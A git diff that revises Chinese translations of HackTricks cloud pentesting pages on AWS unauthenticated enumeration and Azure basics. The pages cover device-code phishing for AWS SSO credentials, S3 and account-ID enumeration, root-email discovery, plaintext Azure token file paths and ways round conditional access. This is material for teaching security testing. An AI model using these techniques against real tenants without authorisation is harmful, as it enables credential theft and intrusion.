**工作流程从未离开所使用的 OAuth 域**。与其他钓鱼攻击不同,用户需要替代登录域,在这种情况下,设备代码工作流程被准备好,以便 **设备知道一个代码**,用户即使在不同的机器上也可以登录。如果接受了提示,设备仅通过 **知道初始代码**,就能够 **为用户检索凭据**。 有关更多信息,请 [**查看此帖子**](https://mjg59.dreamwidth.org/62175.html)。 @@ -113,7 +113,7 @@ sts_creds.get('roleCredentials') - [https://github.com/christophetd/aws-sso-device-code-authentication](https://github.com/christophetd/aws-sso-device-code-authentication) - [https://github.com/sebastian-mora/awsssome_phish](https://github.com/sebastian-mora/awsssome_phish) -## 参考资料 +## 参考文献 - [https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/) - [https://ruse.tech/blogs/aws-sso-phishing](https://ruse.tech/blogs/aws-sso-phishing) diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md index f150d64a2..2313940e9 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md @@ -1,4 +1,4 @@ -# AWS - Lambda Unauthenticated Access +# AWS - Lambda 未认证访问 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md index 42a71bd59..e04aa4769 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md @@ -6,11 +6,11 @@ ### **RabbitMQ** -在**RabbitMQ**的情况下,**默认情况下启用公共访问**和ssl。但是您需要**凭据**才能访问(`amqps://.mq.us-east-1.amazonaws.com:5671`​​)。此外,如果您知道凭据,可以**访问网络管理控制台**,网址为`https://b-.mq.us-east-1.amazonaws.com/` +在**RabbitMQ**的情况下,默认启用公共访问和ssl。但您需要**凭据**才能访问(`amqps://.mq.us-east-1.amazonaws.com:5671`​​)。此外,如果您知道`https://b-.mq.us-east-1.amazonaws.com/`中的凭据,可以**访问网络管理控制台**。 ### ActiveMQ -在**ActiveMQ**的情况下,默认情况下启用公共访问和ssl,但您需要凭据才能访问。 +在**ActiveMQ**的情况下,默认启用公共访问和ssl,但您需要凭据才能访问。 ### 公共URL模板 ``` diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md index 12a5b241e..0944f523b 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md @@ -1,14 +1,14 @@ -# AWS - MSK Unauthenticated Enum +# AWS - MSK 未认证枚举 {{#include ../../../banners/hacktricks-training.md}} ### 公共端口 -可以**将Kafka代理暴露给公众**,但您需要**凭据**、IAM权限或有效证书(具体取决于配置的认证方法)。 +可以**将 Kafka 代理暴露给公众**,但您需要**凭证**、IAM 权限或有效证书(具体取决于配置的认证方法)。 也可以**禁用认证**,但在这种情况下**无法直接将端口暴露**给互联网。 -### 公共URL模板 +### 公共 URL 模板 ``` b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com {user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md index 24d95047a..79999e34f 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md @@ -12,11 +12,11 @@ ## 公共端口 -可以允许**从互联网访问数据库**。攻击者仍然需要**知道用户名和密码、**IAM 访问权限或一个**漏洞**才能进入数据库。 +可以从 **互联网** 为 **数据库** 提供公共访问。攻击者仍然需要 **知道用户名和密码、** IAM 访问权限或 **漏洞** 才能进入数据库。 ## 公共 RDS 快照 -AWS 允许**任何人下载 RDS 快照**。您可以很容易地从自己的账户列出这些公共 RDS 快照: +AWS 允许 **任何人下载 RDS 快照**。您可以非常轻松地从自己的账户列出这些公共 RDS 快照: ```bash # Public RDS snapshots aws rds describe-db-snapshots --include-public diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md index fbf15a9f0..2f2ecd5ce 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md @@ -1,4 +1,4 @@ -# AWS - Redshift Unauthenticated Enum +# AWS - Redshift 未认证枚举 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md index 9560dd297..1797dcdb2 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md @@ -17,7 +17,7 @@ #### 枚举与 OSINT: - 使用 **wappalyzer** 浏览器插件 -- 使用 burp(**爬虫**网页)或通过手动浏览页面,所有**加载的资源**将保存在历史记录中。 +- 使用 burp (**爬虫**网页) 或通过手动浏览页面,所有**加载的资源**将保存在历史记录中。 - **检查资源**在以下域名中: ``` @@ -37,7 +37,7 @@ http://[bucket_name].s3.amazonaws.com/ - [https://github.com/sa7mon/S3Scanner](https://github.com/sa7mon/S3Scanner) - [https://github.com/clario-tech/s3-inspector](https://github.com/clario-tech/s3-inspector) -- [https://github.com/jordanpotti/AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump)(包含潜在桶名称的列表) +- [https://github.com/jordanpotti/AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump) (包含潜在桶名称的列表) - [https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets](https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets) - [https://github.com/smaranchand/bucky](https://github.com/smaranchand/bucky) - [https://github.com/tomdev/teh_s3_bucketeers](https://github.com/tomdev/teh_s3_bucketeers) @@ -95,9 +95,9 @@ nslookup 52.218.192.11 Non-authoritative answer: 11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com. ``` -检查解析的域名是否包含“website”。\ -您可以通过访问以下地址访问静态网站:`flaws.cloud.s3-website-us-west-2.amazonaws.com`\ -或者您可以通过访问以下地址访问存储桶:`flaws.cloud.s3-us-west-2.amazonaws.com` +检查解析的域名是否包含“website”一词。\ +您可以通过访问以下静态网站来访问:`flaws.cloud.s3-website-us-west-2.amazonaws.com`\ +或者您可以通过访问以下存储桶来访问:`flaws.cloud.s3-us-west-2.amazonaws.com` #### 通过尝试 @@ -134,7 +134,7 @@ https://{user_provided}.s3.amazonaws.com ### 从公共桶获取账户ID 可以通过利用新的 **`S3:ResourceAccount`** **策略条件键** 来确定一个AWS账户。这个条件 **基于账户所在的S3桶限制访问**(其他基于账户的策略是基于请求主体所在的账户)。\ -由于策略可以包含 **通配符**,因此可以 **一次找到一个数字** 来查找账户号码。 +而且由于策略可以包含 **通配符**,因此可以 **一次找到一个数字** 来查找账户号码。 这个工具自动化了这个过程: ```bash @@ -146,11 +146,11 @@ s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket # With an object s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket/path/to/object.ext ``` -这种技术同样适用于 API Gateway URLs、Lambda URLs、Data Exchange 数据集,甚至可以获取标签的值(如果你知道标签键)。你可以在 [**原始研究**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) 和工具 [**conditional-love**](https://github.com/plerionhq/conditional-love/) 中找到更多信息,以自动化此利用。 +此技术同样适用于 API Gateway URLs、Lambda URLs、Data Exchange 数据集,甚至可以获取标签的值(如果您知道标签键)。您可以在 [**原始研究**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) 和工具 [**conditional-love**](https://github.com/plerionhq/conditional-love/) 中找到更多信息,以自动化此利用。 ### 确认一个桶属于 AWS 账户 -正如在 [**这篇博客文章**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/) 中解释的那样,**如果你有列出桶的权限**,可以通过发送类似以下请求来确认桶所属的 accountID: +如 [**这篇博客文章**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/) 中所述,**如果您有权限列出一个桶**,则可以通过发送如下请求来确认该桶所属的 accountID: ```bash curl -X GET "[bucketname].amazonaws.com/" \ -H "x-amz-expected-bucket-owner: [correct-account-id]" @@ -158,11 +158,11 @@ curl -X GET "[bucketname].amazonaws.com/" \ ... ``` -如果错误是“访问被拒绝”,则意味着账户 ID 错误。 +如果错误是“访问被拒绝”,这意味着账户 ID 是错误的。 ### 使用电子邮件作为根账户枚举 -正如在[**这篇博客文章**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)中所解释的,可以通过**尝试授予电子邮件对 S3 存储桶的权限**来检查某个电子邮件地址是否与任何 AWS 账户相关。如果这没有触发错误,则意味着该电子邮件是某个 AWS 账户的根用户: +正如在[**这篇博客文章**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)中所解释的,可以通过**尝试授予电子邮件对 S3 存储桶的权限**来检查某个电子邮件地址是否与任何 AWS 账户相关。如果这没有触发错误,这意味着该电子邮件是某个 AWS 账户的根用户: ```python s3_client.put_bucket_acl( Bucket=bucket_name, @@ -183,7 +183,7 @@ AccessControlPolicy={ } ) ``` -## 参考文献 +## 参考 - [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) - [https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/](https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/) diff --git a/src/pentesting-cloud/azure-security/README.md b/src/pentesting-cloud/azure-security/README.md index 9db2ec363..bc297fd55 100644 --- a/src/pentesting-cloud/azure-security/README.md +++ b/src/pentesting-cloud/azure-security/README.md @@ -22,8 +22,8 @@ az-basic-information/ - **本地文件读取** - `/home/USERNAME/.azure` - `C:\Users\USERNAME\.azure` -- 在 `az cli` 2.30 之前的 **`accessTokens.json`** 文件 - 存储 **访问令牌** 为明文 -- **`azureProfile.json`** 文件包含有关已登录用户的 **信息**。 +- **`accessTokens.json`** 文件在 `az cli` 2.30 之前 - Jan2022 - 存储 **访问令牌为明文** +- **`azureProfile.json`** 文件包含有关登录用户的 **信息**。 - **`az logout`** 移除令牌。 - 较旧版本的 **`Az PowerShell`** 将 **访问令牌** 以 **明文** 存储在 **`TokenCache.dat`** 中。它还将 **ServicePrincipalSecret** 以 **明文** 存储在 **`AzureRmContext.json`** 中。可以使用 cmdlet **`Save-AzContext`** 来 **存储** **令牌**。\ 使用 `Disconnect-AzAccount` 来移除它们。 @@ -33,7 +33,7 @@ az-basic-information/ - [设备代码认证钓鱼](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md) - [Azure **密码喷洒**](az-unauthenticated-enum-and-initial-entry/az-password-spraying.md) -即使您 **没有攻陷任何用户** 在您攻击的 Azure 租户中,您仍然可以 **收集一些信息**: +即使您 **没有攻陷** 您正在攻击的 Azure 租户中的任何用户,您仍然可以 **收集一些信息**: {{#ref}} az-unauthenticated-enum-and-initial-entry/ @@ -64,7 +64,7 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou - **IP 白名单** -- 您需要攻陷一个有效的 IP - **地理限制** -- 找到用户居住的地方或公司的办公室位置,并获取来自同一城市(或至少同一国家)的 IP - **浏览器** -- 可能只允许某些操作系统(Windows、Linux、Mac、Android、iOS)中的浏览器。找出受害者/公司使用的操作系统。 -- 您还可以尝试 **攻陷服务主体凭证**,因为它们通常限制较少,登录审核也较少。 +- 您还可以尝试 **攻陷服务主体凭证**,因为它们通常限制较少,登录审核也较少 绕过后,您可能能够返回到初始设置,并且仍然可以访问。 @@ -77,7 +77,7 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou > [!CAUTION] > 学习 **如何安装** az cli、AzureAD 和 Az PowerShell 在 [**Az - Entra ID**](az-services/az-azuread.md) 部分。 -您需要了解的第一件事是 **您是谁**(您处于哪个环境中): +您需要知道的第一件事是 **您是谁**(您处于哪个环境中): {{#tabs }} {{#tab name="az cli" }} @@ -120,13 +120,13 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com # For current user {{#endtabs }} > [!CAUTION] -> 其中一个枚举 Azure 的最重要命令是 **`Get-AzResource`** 来自 Az PowerShell,因为它可以让你 **了解当前用户可见的资源**。 +> 其中一个枚举 Azure 的最重要命令是 **`Get-AzResource`**,来自 Az PowerShell,因为它让你 **知道当前用户可见的资源**。 > > 你可以在 **网页控制台** 中获取相同的信息,访问 [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) 或搜索 "所有资源" ### ENtra ID 枚举 -默认情况下,任何用户应该拥有 **足够的权限来枚举** 用户、组、角色、服务主体等信息...(查看 [默认 AzureAD 权限](az-basic-information/#default-user-permissions)).\ +默认情况下,任何用户应该具有 **足够的权限来枚举** 用户、组、角色、服务主体等...(查看 [默认 AzureAD 权限](az-basic-information/#default-user-permissions))。\ 你可以在这里找到指南: {{#ref}} @@ -134,7 +134,7 @@ az-services/az-azuread.md {{#endref}} > [!NOTE] -> 现在你 **已经有了一些关于你凭据的信息**(如果你是红队,希望你 **没有被发现**)。是时候找出环境中正在使用哪些服务了。\ +> 现在你 **已经有了一些关于你凭据的信息**(如果你是红队,希望你 **没有被发现**)。是时候找出环境中正在使用哪些服务。\ > 在接下来的部分中,你可以查看一些 **枚举常见服务的方法**。 ## 应用服务 SCM diff --git a/src/pentesting-cloud/azure-security/az-basic-information/README.md b/src/pentesting-cloud/azure-security/az-basic-information/README.md index 08db24c18..9fe36542f 100644 --- a/src/pentesting-cloud/azure-security/az-basic-information/README.md +++ b/src/pentesting-cloud/azure-security/az-basic-information/README.md @@ -9,28 +9,28 @@ ### 管理组 - 它可以包含**其他管理组或订阅**。 -- 这允许在管理组级别**应用治理控制**,如RBAC和Azure策略,并让所有组内的订阅**继承**这些控制。 +- 这允许在管理组级别**应用治理控制**,如RBAC和Azure Policy,并让所有组内的订阅**继承**这些控制。 - **单个目录**最多可以支持**10,000个管理组**。 - 管理组树可以支持**最多六层深度**。此限制不包括根级别或订阅级别。 - 每个管理组和订阅只能支持**一个父级**。 - 即使可以创建多个管理组,**只有一个根管理组**。 -- 根管理组**包含**所有**其他管理组和订阅**,并且**无法移动或删除**。 +- 根管理组**包含**所有**其他管理组和订阅**,并且**不能被移动或删除**。 - 单个管理组内的所有订阅必须信任**相同的Entra ID租户**。

https://td-mainsite-cdn.tutorialsdojo.com/wp-content/uploads/2023/02/managementgroups-768x474.png

### Azure 订阅 -- 这是另一个**逻辑容器,资源**(虚拟机、数据库等)可以在其中运行并计费。 -- 它的**父级**始终是**管理组**(可以是根管理组),因为订阅不能包含其他订阅。 +- 这是另一个**逻辑容器,资源**(虚拟机、数据库等)可以在其中运行并将被计费。 +- 它的**父级**始终是一个**管理组**(可以是根管理组),因为订阅不能包含其他订阅。 - 它**仅信任一个Entra ID**目录。 - 在订阅级别(或其任何父级)应用的**权限**会**继承**到订阅内的所有资源。 ### 资源组 -[来自文档:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/manage-resource-groups-python?tabs=macos#what-is-a-resource-group) 资源组是一个**容器**,用于保存Azure解决方案的**相关资源**。资源组可以包括解决方案的所有资源,或仅包括您希望作为一组管理的**资源**。通常,将**共享相同生命周期**的**资源**添加到同一资源组,以便您可以轻松地作为一组进行部署、更新和删除。 +[来自文档:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/manage-resource-groups-python?tabs=macos#what-is-a-resource-group) 资源组是一个**容器**,用于保存Azure解决方案的**相关资源**。资源组可以包括解决方案的所有资源,或仅包括您希望作为一个组管理的**资源**。通常,将共享**相同生命周期**的**资源**添加到同一资源组,以便您可以轻松地作为一个组进行部署、更新和删除。 -所有的**资源**必须**在资源组内**,并且只能属于一个组,如果资源组被删除,组内的所有资源也会被删除。 +所有**资源**必须**在资源组内**,并且只能属于一个组,如果资源组被删除,组内的所有资源也会被删除。

https://i0.wp.com/azuredays.com/wp-content/uploads/2020/05/org.png?resize=748%2C601&ssl=1

@@ -42,7 +42,7 @@ Azure 资源 ID 的格式如下: - `/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/{resourceProviderNamespace}/{resourceType}/{resourceName}` -对于在资源组`myResourceGroup`下,订阅 ID 为`12345678-1234-1234-1234-123456789012`的名为 myVM 的虚拟机,Azure 资源 ID 如下所示: +对于在资源组`myResourceGroup`下,订阅 ID 为`12345678-1234-1234-1234-123456789012`的名为 myVM 的虚拟机,Azure 资源 ID 看起来像这样: - `/subscriptions/12345678-1234-1234-1234-123456789012/resourceGroups/myResourceGroup/providers/Microsoft.Compute/virtualMachines/myVM` @@ -54,7 +54,7 @@ Azure 是微软的综合**云计算平台,提供广泛的服务**,包括虚 ### Entra ID(前称 Azure Active Directory) -Entra ID 是一种基于云的**身份和访问管理服务**,旨在处理身份验证、授权和用户访问控制。它为 Microsoft 服务(如 Office 365、Azure 和许多第三方 SaaS 应用程序)提供安全访问。具有单点登录(SSO)、多因素身份验证(MFA)和条件访问策略等功能。 +Entra ID 是一个基于云的**身份和访问管理服务**,旨在处理身份验证、授权和用户访问控制。它为 Microsoft 服务(如 Office 365、Azure 和许多第三方 SaaS 应用程序)提供安全访问。具有单点登录(SSO)、多因素身份验证(MFA)和条件访问策略等功能。 ### Entra 域服务(前称 Azure AD DS) @@ -105,10 +105,10 @@ Entra 域服务通过提供**与传统 Windows Active Directory 环境兼容的 - **访客** - **访客用户访问限制** - **访客用户与成员**的访问权限相同,默认情况下将所有成员用户权限授予访客用户。 -- **访客用户对目录对象的属性和成员资格的访问有限(默认)**,默认情况下限制访客访问仅限于他们自己的用户配置文件。对其他用户和组信息的访问不再允许。 -- **访客用户访问限制在于他们自己目录对象的属性和成员资格**是最严格的。 +- **访客用户对目录对象的属性和成员资格的访问有限(默认)**,默认情况下限制访客仅访问自己的用户资料。不再允许访问其他用户和组信息。 +- **访客用户访问限制在其自己目录对象的属性和成员资格**是最严格的。 - **访客可以邀请** -- **组织中的任何人都可以邀请访客用户,包括访客和非管理员(最具包容性) - 默认** +- **组织中的任何人都可以邀请访客用户,包括访客和非管理员(最包容) - 默认** - **成员用户和分配给特定管理员角色的用户可以邀请访客用户,包括具有成员权限的访客** - **只有分配给特定管理员角色的用户可以邀请访客用户** - **组织中的任何人都不能邀请访客用户,包括管理员(最严格)** @@ -124,7 +124,7 @@ Entra 域服务通过提供**与传统 Windows Active Directory 环境兼容的 - **安全组**:此类型的组用于授予成员对应用程序、资源的访问权限并分配许可证。用户、设备、服务主体和其他组可以是成员。 - **Microsoft 365 组**:此类型的组用于协作,给予成员对共享邮箱、日历、文件、SharePoint 站点等的访问权限。组成员只能是用户。 -- 这将具有一个**电子邮件地址**,其域为 EntraID 租户的域。 +- 这将具有 EntraID 租户的**电子邮件地址**。 有**2种类型的成员资格**: @@ -146,13 +146,13 @@ Entra 域服务通过提供**与传统 Windows Active Directory 环境兼容的 #### 关键组件: -1. **应用程序 ID(客户端 ID):** Azure AD 中应用程序的唯一标识符。 +1. **应用程序 ID(客户端 ID):** 您的应用在 Azure AD 中的唯一标识符。 2. **重定向 URI:** Azure AD 发送身份验证响应的 URL。 3. **证书、密钥和联合凭据:** 可以生成密钥或证书以作为应用程序的服务主体登录,或授予对其的联合访问权限(例如 GitHub Actions)。 1. 如果生成了**证书**或**密钥**,则可以通过知道**应用程序 ID**、**密钥**或**证书**以及**租户**(域或 ID)来**以服务主体身份登录**。 -4. **API 权限:** 指定应用程序可以访问的资源或 API。 -5. **身份验证设置:** 定义应用程序支持的身份验证流程(例如 OAuth2、OpenID Connect)。 -6. **服务主体**:创建应用程序时会创建服务主体(如果是从 Web 控制台创建)或在新租户中安装时创建。 +4. **API 权限:** 指定应用可以访问的资源或 API。 +5. **身份验证设置:** 定义应用支持的身份验证流程(例如 OAuth2、OpenID Connect)。 +6. **服务主体**:创建应用时会创建服务主体(如果是从 Web 控制台创建)或在新租户中安装时。 1. **服务主体**将获得其配置的所有请求权限。 ### 默认同意权限 @@ -160,11 +160,11 @@ Entra 域服务通过提供**与传统 Windows Active Directory 环境兼容的 **用户对应用程序的同意** - **不允许用户同意** -- 所有应用程序都需要管理员。 -- **允许用户对来自经过验证的发布者的应用程序进行选择性权限的同意(推荐)** -- 所有用户可以对被分类为“低影响”的权限进行同意,适用于来自经过验证的发布者或在此组织中注册的应用程序。 +- 所有应用程序都需要管理员批准。 +- **允许用户对来自经过验证的发布者的应用程序进行同意,针对选定的权限(推荐)** +- 所有用户可以同意被分类为“低影响”的权限,适用于来自经过验证的发布者或在此组织中注册的应用程序。 - **默认**低影响权限(尽管您需要接受将其添加为低影响): -- User.Read - 登录并读取用户配置文件 +- User.Read - 登录并读取用户资料 - offline_access - 维护对用户已授予访问权限的数据的访问 - openid - 登录用户 - profile - 查看用户的基本资料 @@ -184,16 +184,16 @@ Azure Active Directory 中的托管身份提供了一种**自动管理应用程 托管身份有两种类型: -- **系统分配**。某些 Azure 服务允许您**直接在服务实例上启用托管身份**。当您启用系统分配的托管身份时,会在资源所在的订阅中创建一个**服务主体**。当**资源**被**删除**时,Azure 会自动为您**删除**该**身份**。 -- **用户分配**。用户也可以生成托管身份。这些身份是在订阅内的资源组中创建的,并且将在 EntraID 中创建一个服务主体,受订阅信任。然后,您可以将托管身份分配给一个或**多个实例**的 Azure 服务(多个资源)。对于用户分配的托管身份,**身份与使用它的资源是分开管理的**。 +- **系统分配**。某些 Azure 服务允许您**直接在服务实例上启用托管身份**。当您启用系统分配的托管身份时,会在资源所在的订阅中创建一个**服务主体**,该订阅信任 Entra ID 租户。当**资源**被**删除**时,Azure 会自动为您**删除**该**身份**。 +- **用户分配**。用户也可以生成托管身份。这些身份是在订阅内的资源组中创建的,并且将在 EntraID 中创建一个服务主体,该服务主体由订阅信任。然后,您可以将托管身份分配给一个或**多个 Azure 服务实例**(多个资源)。对于用户分配的托管身份,**身份与使用它的资源是分开管理的**。 -托管身份**不会生成永久凭据**(如密码或证书)以访问与其关联的服务主体。 +托管身份**不会生成永久凭据**(如密码或证书)以访问与其附加的服务主体。 ### 企业应用程序 -这只是一个**在 Azure 中过滤服务主体**并检查已分配应用程序的**表**。 +这只是一个**在 Azure 中过滤服务主体**并检查已分配应用程序的表。 -**这不是另一种“应用程序”类型,** Azure 中没有任何对象是“企业应用程序”,这只是检查服务主体、应用注册和托管身份的抽象。 +**这不是另一种“应用程序”类型,**在 Azure 中没有任何对象是“企业应用程序”,这只是检查服务主体、应用注册和托管身份的抽象。 ### 管理单位 @@ -229,23 +229,23 @@ Azure Active Directory 中的托管身份提供了一种**自动管理应用程 ### **经典角色** -| **所有者** |
  • 对所有资源的完全访问
  • 可以管理其他用户的访问
| 所有资源类型 | +| **所有者** |
  • 对所有资源具有完全访问权限
  • 可以管理其他用户的访问权限
| 所有资源类型 | | ----------------------------- | ---------------------------------------------------------------------------------------- | ------------------ | -| **贡献者** |
  • 对所有资源的完全访问
  • 不能管理访问
| 所有资源类型 | +| **贡献者** |
  • 对所有资源具有完全访问权限
  • 不能管理访问权限
| 所有资源类型 | | **读取者** | • 查看所有资源 | 所有资源类型 | -| **用户访问管理员** |
  • 查看所有资源
  • 可以管理其他用户的访问
| 所有资源类型 | +| **用户访问管理员** |
  • 查看所有资源
  • 可以管理其他用户的访问权限
| 所有资源类型 | ### 内置角色 -[来自文档: ](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles)[Azure 基于角色的访问控制(Azure RBAC)](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview) 有几个 Azure **内置角色**,您可以将其**分配**给**用户、组、服务主体和托管身份**。角色分配是您控制**对 Azure 资源的访问**的方式。如果内置角色无法满足您组织的特定需求,您可以创建自己的 [**Azure 自定义角色**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)**。** +[来自文档: ](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles)[Azure 基于角色的访问控制(Azure RBAC)](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview) 有几个 Azure **内置角色**,您可以将其**分配**给**用户、组、服务主体和托管身份**。角色分配是您控制**对 Azure 资源的访问**的方式。如果内置角色不满足您组织的特定需求,您可以创建自己的 [**Azure 自定义角色**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)**。** **内置**角色仅适用于**它们所针对的资源**,例如检查这两个**内置角色**在计算资源上的示例: -| [磁盘备份读取者](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#disk-backup-reader) | 提供备份库执行磁盘备份的权限。 | 3e5e47e6-65f7-47ef-90b5-e5dd4d455f24 | +| [磁盘备份读取者](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#disk-backup-reader) | 提供备份保管库执行磁盘备份的权限。 | 3e5e47e6-65f7-47ef-90b5-e5dd4d455f24 | | ----------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------- | ------------------------------------ | | [虚拟机用户登录](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#virtual-machine-user-login) | 在门户中查看虚拟机并以常规用户身份登录。 | fb879df8-f326-4884-b1cf-06f3ad86be52 | -这些角色也可以**分配给逻辑容器**(如管理组、订阅和资源组),受影响的主体将在**这些容器内的资源上**拥有它们。 +这些角色也可以**分配给逻辑容器**(例如管理组、订阅和资源组),受影响的主体将在这些容器内的资源上拥有它们。 - 在这里找到 [**所有 Azure 内置角色**](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles) 的列表。 - 在这里找到 [**所有 Entra ID 内置角色**](https://learn.microsoft.com/en-us/azure/active-directory/roles/permissions-reference) 的列表。 @@ -256,7 +256,7 @@ Azure Active Directory 中的托管身份提供了一种**自动管理应用程 - 它们是在一个范围内创建的,尽管一个角色可以在多个范围内(管理组、订阅和资源组) - 可以配置自定义角色将拥有的所有细粒度权限 - 可以排除权限 -- 拥有排除权限的主体即使在其他地方授予权限也无法使用该权限 +- 拥有被排除权限的主体即使在其他地方授予权限也无法使用该权限 - 可以使用通配符 - 使用的格式是 JSON - `actions` 用于控制对资源的操作 @@ -294,23 +294,23 @@ Azure Active Directory 中的托管身份提供了一种**自动管理应用程 ``` ### 权限顺序 -- 为了让一个 **主体对资源有某些访问权限**,他需要被授予一个明确的角色(以任何方式)**授予他该权限**。 +- 为了让一个 **主体对资源有某种访问权限**,他需要被授予一个明确的角色(以任何方式)**授予他该权限**。 - 明确的 **拒绝角色分配优先于** 授予权限的角色。

https://link.springer.com/chapter/10.1007/978-1-4842-7325-8_10

### 全局管理员 -全局管理员是 Entra ID 的一个角色,授予 **对 Entra ID 租户的完全控制**。然而,默认情况下,它并不授予对 Azure 资源的任何权限。 +全局管理员是 Entra ID 的一个角色,授予 **对 Entra ID 租户的完全控制**。然而,它默认不授予对 Azure 资源的任何权限。 -拥有全局管理员角色的用户可以在根管理组中 **“提升”到用户访问管理员 Azure 角色**。因此,全局管理员可以管理 **所有 Azure 订阅和管理组的访问**。\ -此提升可以在页面底部完成:[https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/\~/Properties](https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/~/Properties) +拥有全局管理员角色的用户可以在根管理组中 '**提升' 为用户访问管理员 Azure 角色**。因此,全局管理员可以管理 **所有 Azure 订阅和管理组的访问**。\ +此提升可以在页面底部完成: [https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/\~/Properties](https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/~/Properties)
